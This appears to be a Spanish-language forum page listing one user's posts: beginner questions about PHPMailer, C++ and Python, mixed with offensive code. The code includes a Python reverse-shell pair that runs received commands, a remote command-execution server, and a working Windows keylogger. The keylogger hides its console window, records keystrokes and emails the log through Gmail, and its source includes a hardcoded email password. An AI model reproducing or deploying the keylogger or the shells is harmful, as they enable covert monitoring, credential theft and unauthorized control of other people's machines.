trata de enviar correos atraves de phpmailer en modo localhost y uso una cuenta de gmail pero cuando envio un correo llega como spam alguna solucion gracias
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú
error cuando ejecuto el comando dir
corriendo servidor y esperando conexiones
conexion recibida de:127.0.0.1
()-#:dir
Traceback (most recent call last):
File "server.py", line 34, in <module>
shell()
File "server.py", line 15, in shell
res=targer.recv(1024)
socket.error: [Errno 10053] Se ha anulado una conexi¾n establecida por el software en su equipo host
#!/usr/bin/env python
#_*_ coding: utf8_*_
import socket
def shell():
current_dir=targer.recv(1024)
while True:
comando=raw_input("()-#:".format(current_dir))
if comando == "exit":
targer.send(comando)
break
else:
targer.send(comando)
res=targer.recv(1024)
print(res)
def upserver():
global server #variables globales
global ip
global targer
server=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(('localhost', 7777))# lo ponemos a la escucha con un puerto
server.listen(1)
print("corriendo servidor y esperando conexiones")
targer, ip=server.accept() #recibimos un objete de la conexion y una lista de datos
print("conexion recibida de:"+ str(ip[0]))
upserver()
shell()
server.close()
#!/usr/bin/env python
#_*_ coding: utf8_*_
import socket
import os
import subprocess
def shell():
current_dir=os.getcwd()
cliente.send(current_dir)
while True:
res=cliente.recv(1024)
if res == "exit":
break
else:
proc=subprocess.Popen(res, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
resul=proc.stdout.read() + proc.stderr.read()
cliente.send(resul)
re=cliente.recv(1024)
print(res)
cliente.send('hola mundo')
cliente=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
cliente.connect(('localhost',7777))
cliente.close
<html>
<head>
<title>onunload test</title>
<script type="text/javascript">
window.onunload = unloadPage;
function unloadPage()
{
alert("unload event detected!");
}
</script>
</head>
<body>
<p>Reload a new page into the browser<br />
to fire the unload event for this page.</p>
<p>You can also use the back or forward buttons<br />
to load a new page and fire this event.</p>
</body>
</html>
import os
with open('C:\Windows\System32\drivers\etc\hosts.txt', 'r') as f:
contenido=f.read()
print(contenido)
import socket
import threading
import commands
def conexiones(socket_cliente):
peticion = socket_cliente.recv(1024)
print "[*] Mensaje recibido: %s" % peticion
respuesta = commands.getoutput(peticion)
socket_cliente.send(respuesta)
socket_cliente.close()
ip = "0.0.0.0"
puerto = 5555
max_conexiones = 5
servidor = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
servidor.bind((ip, puerto))
servidor.listen(max_conexiones)
print "[*] Esperando conexiones en %s:%d" % (ip, puerto)
while True:
cliente, direccion = servidor.accept()
print "[*] Conexion establecida con %s:%d" % (direccion[0] , direccion[1])
conexiones = threading.Thread(target=conexiones, args=(cliente,))
conexiones.start()
import socket
servidor = "127.0.0.1"
puerto = 5555
cliente = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
cliente.connect((servidor, puerto))
cliente.send("ls /");
respuesta = cliente.recv(4096)
print "[*] Respuesta recibida: "+respuesta
[code]
[/code]
#!/usr/bin/env python #interprete de ejecucion
#* coding: utf8 *
import pynput.keyboard
import smtplib #este modulo ya viene instalado por defecto en python
import time
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import win32console
import win32gui
ventana = win32console.GetConsoleWindow()
win32gui.ShowWindow(ventana,0)
log_file = open('log.txt','w+')
##########################################################
def enviar_datos():
msg=MIMEMultipart()
password="set1enbre"
msg['From'] = "pruebakey18@gmail.com"
msg['To']="pruebakey18@gmail.com"
#Asunto
msg['Subject']="Keylogger Prueba"
msg.attach(MIMEText(file('log.txt').read()))
try:
server= smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
#Ahora tenemos que logearnos en nuestra cuenta de gmail
server.login(msg['From'],password)
#Envair el correo electronico , tiene 3 parametros
#el remitente (el que envia), el que recibe , mandar el contenido del correo electronico accediento al metodo asstring
server.sendmail(msg['From'],msg['To'],msg.as_string())
server.quit()
except:
pass
def imprimir():
#convertir en una variable de texto
teclas=''.join(lista_tecla)
log_file.write(teclas)
log_file.write('\n')
log_file.close()
time.sleep(3)
enviar_datos()
lista_tecla=[]
def convertir(key):
if isinstance(key,pynput.keyboard.KeyCode):
return key.char
else:
return str(key)
#imprimir lo q el usuario teclee
def presiona(key):
key1= convertir(key)
if key1 =="Key.esc":
print("Saliendo ..")
print(key1)
imprimir()
return False
elif key1 =="Key.space":
lista_tecla.append(" ")
elif key1 =="Key.enter":
lista_tecla.append('\n')
elif key1=="Key.backspace":
pass
#Que no haga añade nada
elif key1=="Key.tab":
pass
elif key1=="Key.caps_lock":
pass
elif key1=="Key.alt_r":
pass
elif key1=="Key.shift":
pass
else :
lista_tecla.append(key1)
with pynput.keyboard.Listener(on_press=presiona) as listen:
listen.join()
#para que escuche la herramienta
#pyinstaller --onefile keylogger.py
#include<iostream>
#include<stdlib.h>
using namespace std;
class Persona{
private:
int edad;
string nombre;
public:
Persona(int, string);
void leer();
void corre();
};
//constructor nos sirve para inicializar los atributos de la clase
Persona::Persona(int _edad, string _nombre){
edad=_edad;
nombre=_nombre;
}
void Persona::leer(){
cout<<"soy"<<nombre<<"y estoy leendo"<<endl;
}
void Persona::corre(){
cout<<"soy"<<nombre<<"y estoy corriendo"<<endl;
}
int main(){
Persona p1=perror(20,"alejandro"); ->>> aca es donde me sale el error linea 27
p1.leer();
system("pause");
return 0;
}